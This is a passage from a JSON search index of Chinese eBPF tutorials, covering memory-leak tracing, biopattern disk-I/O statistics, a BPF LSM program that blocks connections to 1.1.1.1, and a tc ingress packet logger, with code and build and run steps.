这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak 参考： https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ make\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 []  1 []  2 []  3 []  4 []  5 []  6 [] \n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一种新技术，允许用户在内核空间中执行自定义程序，而无需更改内核代码。这为系统管理员和开发者提供了强大的工具，可以深入了解和监控系统的行为，从而进行优化。 在本篇教程中，我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一，特别是在数据密集型应用中。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O"},"112":{"body":"随着技术的进步和数据量的爆炸性增长，磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此，深入了解和优化磁盘 I/O，特别是随机和顺序的 I/O，变得尤为重要。 随机 I/O ：随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动，导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 顺序 I/O ：与随机 I/O 相反，顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动，从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 为了实现存储性能的最优化，了解随机和顺序的磁盘 I/O 是至关重要的。例如，随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘，因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反，对于大量顺序 I/O 的应用，如何最大化磁盘的连续读写速度则更为关键。 在本教程的后续部分，我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为，还可以为进一步的性能优化提供有力的数据支持。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 随机/顺序磁盘 I/O","id":"112","title":"随机/顺序磁盘 I/O"},"113":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 首先，确保你已经正确安装了 libbpf 和相关的工具集，可以在这里找到对应的源代码： bpf-developer-tutorial 导航到 biopattern 的源代码目录，并使用 make 命令进行编译： cd ~/bpf-developer-tutorial/src/17-biopattern\nmake 编译成功后，你应该可以在当前目录下看到 biopattern 的可执行文件。基本的运行命令如下： sudo ./biopattern [interval] [count] 例如，要每秒打印一次输出，并持续10秒，你可以运行： $ sudo ./biopattern 1 10\nTracing block device I/O requested seeks... Hit Ctrl-C to end.\nDISK %RND %SEQ COUNT KBYTES\nsr0 0 100 3 0\nsr1 0 100 8 0\nsda 0 100 1 4\nsda 100 0 26 136\nsda 0 100 1 4 输出列的含义如下： DISK：被追踪的磁盘名称。 %RND：随机 I/O 的百分比。 %SEQ：顺序 I/O 的百分比。 COUNT：在指定的时间间隔内的 I/O 请求次数。 KBYTES：在指定的时间间隔内读写的数据量（以 KB 为单位）。 从上述输出中，我们可以得出以下结论： sr0 和 sr1 设备在观测期间主要进行了顺序 I/O，但数据量很小。 sda 设备在某些时间段内只进行了随机 I/O，而在其他时间段内只进行了顺序 I/O。 这些信息可以帮助我们了解系统的 I/O 模式，从而进行针对性的优化。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » Biopattern","id":"113","title":"Biopattern"},"114":{"body":"首先，让我们看一下 biopattern 的核心 eBPF 内核态代码： #include \n#include \n#include \n#include \"biopattern.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" const volatile bool filter_dev = false;\nconst volatile __u32 targ_dev = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter);\n} counters SEC(\".maps\"); SEC(\"tracepoint/block/block_rq_complete\")\nint handle__block_rq_complete(void *args)\n{ struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 全局变量定义 const volatile bool filter_dev = false; const volatile __u32 targ_dev = 0; 这两个全局变量用于设备过滤。filter_dev 决定是否启用设备过滤，而 targ_dev 是我们想要追踪的目标设备的标识符。 BPF map 定义： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter); } counters SEC(\".maps\"); 这部分代码定义了一个 BPF map，类型为哈希表。该映射的键是设备的标识符，而值是一个 counter 结构体，用于存储设备的 I/O 统计信息。 追踪点函数： SEC(\"tracepoint/block/block_rq_complete\") int handle__block_rq_complete(void *args) { struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0; } 在 Linux 中，每次块设备的 I/O 请求完成时，都会触发一个名为 block_rq_complete 的追踪点。这为我们提供了一个机会，通过 eBPF 来捕获这些事件，并进一步分析 I/O 的模式。 主要逻辑分析： 提取 I/O 请求信息 ：从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构，取决于 has_block_rq_completion 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况，我们都从上下文中提取出扇区号 (sector)、扇区数量 (nr_sector) 和设备标识符 (dev)。 设备过滤 ：如果启用了设备过滤 (filter_dev 为 true)，并且当前设备不是目标设备 (targ_dev)，则直接返回。这允许用户只追踪特定的设备，而不是所有设备。 统计信息更新 ： - 查找或初始化统计信息 ：使用 bpf_map_lookup_or_try_init 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息，它会使用 zero 结构体进行初始化。 - 判断 I/O 模式 ：根据当前 I/O 请求与上一个 I/O 请求的扇区号，我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同，那么它是顺序的；否则，它是随机的。然后，我们使用 __sync_fetch_and_add 函数更新相应的统计信息。这是一个原子操作，确保在并发环境中数据的一致性。 - 更新数据量 ：我们还更新了该设备的总数据量，这是通过将扇区数量 (nr_sector) 乘以 512（每个扇区的字节数）来实现的。 - 更新最后一个 I/O 请求的扇区号 ：为了下一次的比较，我们更新了 last_sector 的值。 在 Linux 内核的某些版本中，由于引入了一个新的追踪点 block_rq_error，追踪点的命名和结构发生了变化。这意味着，原先的 block_rq_complete 追踪点的结构名称从 trace_event_raw_block_rq_complete 更改为 trace_event_raw_block_rq_completion。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 为了解决这个问题，biopattern 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构，即 has_block_rq_completion 函数。 定义两种追踪点结构 ： struct trace_event_raw_block_rq_complete___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); struct trace_event_raw_block_rq_completion___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); 这里定义了两种追踪点结构，分别对应于不同版本的内核。每种结构都包含设备标识符 (dev)、扇区号 (sector) 和扇区数量 (nr_sector)。 动态检测追踪点结构 ： static __always_inline bool has_block_rq_completion() { if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) return true; return false; } has_block_rq_completion 函数使用 bpf_core_type_exists 函数来检测当前内核是否存在 trace_event_raw_block_rq_completion___x 结构。如果存在，函数返回 true，表示当前内核使用的是新的追踪点结构；否则，返回 false，表示使用的是旧的结构。在对应的 eBPF 代码中，会根据两种不同的定义分别进行处理，这也是适配不同内核版本之间的变更常见的方案。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF Biopattern 实现原理","id":"114","title":"eBPF Biopattern 实现原理"},"115":{"body":"biopattern 工具的用户态代码负责从 BPF 映射中读取统计数据，并将其展示给用户。通过这种方式，系统管理员可以实时监控每个设备的 I/O 模式，从而更好地理解和优化系统的 I/O 性能。 主循环： /* main: poll */ while (1) { sleep(env.interval); err = print_map(obj->maps.counters, partitions); if (err) break; if (exiting || --env.times == 0) break; } 这是 biopattern 工具的主循环，它的工作流程如下： 等待 ：使用 sleep 函数等待指定的时间间隔 (env.interval)。 打印映射 ：调用 print_map 函数打印 BPF 映射中的统计数据。 退出条件 ：如果收到退出信号 (exiting 为 true) 或者达到指定的运行次数 (env.times 达到 0)，则退出循环。 打印映射函数： static int print_map(struct bpf_map *counters, struct partitions *partitions) { __u32 total, lookup_key = -1, next_key; int err, fd = bpf_map__fd(counters); const struct partition *partition; struct counter counter; struct tm *tm; char ts[32]; time_t t; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_lookup_elem(fd, &next_key, &counter); if (err < 0) { fprintf(stderr, \"failed to lookup counters: %d\\n\", err); return -1; } lookup_key = next_key; total = counter.sequential + counter.random; if (!total) continue; if (env.timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-9s \", ts); } partition = partitions__get_by_dev(partitions, next_key); printf(\"%-7s %5ld %5ld %8d %10lld\\n\", partition ? partition->name : \"Unknown\", counter.random * 100L / total, counter.sequential * 100L / total, total, counter.bytes / 1024); } lookup_key = -1; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_delete_elem(fd, &next_key); if (err < 0) { fprintf(stderr, \"failed to cleanup counters: %d\\n\", err); return -1; } lookup_key = next_key; } return 0; } print_map 函数负责从 BPF 映射中读取统计数据，并将其打印到控制台。其主要逻辑如下： 遍历 BPF 映射 ：使用 bpf_map_get_next_key 和 bpf_map_lookup_elem 函数遍历 BPF 映射，获取每个设备的统计数据。 计算总数 ：计算每个设备的随机和顺序 I/O 的总数。 打印统计数据 ：如果启用了时间戳 (env.timestamp 为 true)，则首先打印当前时间。接着，打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量（以 KB 为单位）。 清理 BPF 映射 ：为了下一次的统计，使用 bpf_map_get_next_key 和 bpf_map_delete_elem 函数清理 BPF 映射中的所有条目。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 用户态代码","id":"115","title":"用户态代码"},"116":{"body":"在本教程中，我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性，以及它们对系统性能的影响。接着，我们详细介绍了 biopattern 的工作原理，包括如何定义和使用 BPF maps，如何处理不同版本的 Linux 内核中的追踪点变化，以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 完整代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern bcc 工具： https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"116","title":"总结"},"117":{"body":"可以在这里找到更多关于 eBPF 的信息： https://github.com/zoidbergwill/awesome-ebpf https://ebpf.io/","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"117","title":"更多的参考资料"},"118":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"118","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"119":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"119","title":"背景"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"120","title":"LSM 概述"},"121":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"121","title":"确认 BPF LSM 是否可用"},"122":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"122","title":"编写 eBPF 程序"},"123":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"123","title":"编译运行"},"124":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"124","title":"总结"},"125":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"125","title":"参考"},"126":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"126","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"127":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"127","title":"背景"},"128":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"128","title":"tc 概述"},"129":{"body":"#include \n#include \n#include \n#include  #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"129","title":"编写 eBPF 程序"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程一：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程一：Hello World，基本框架和开发流程"},"130":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 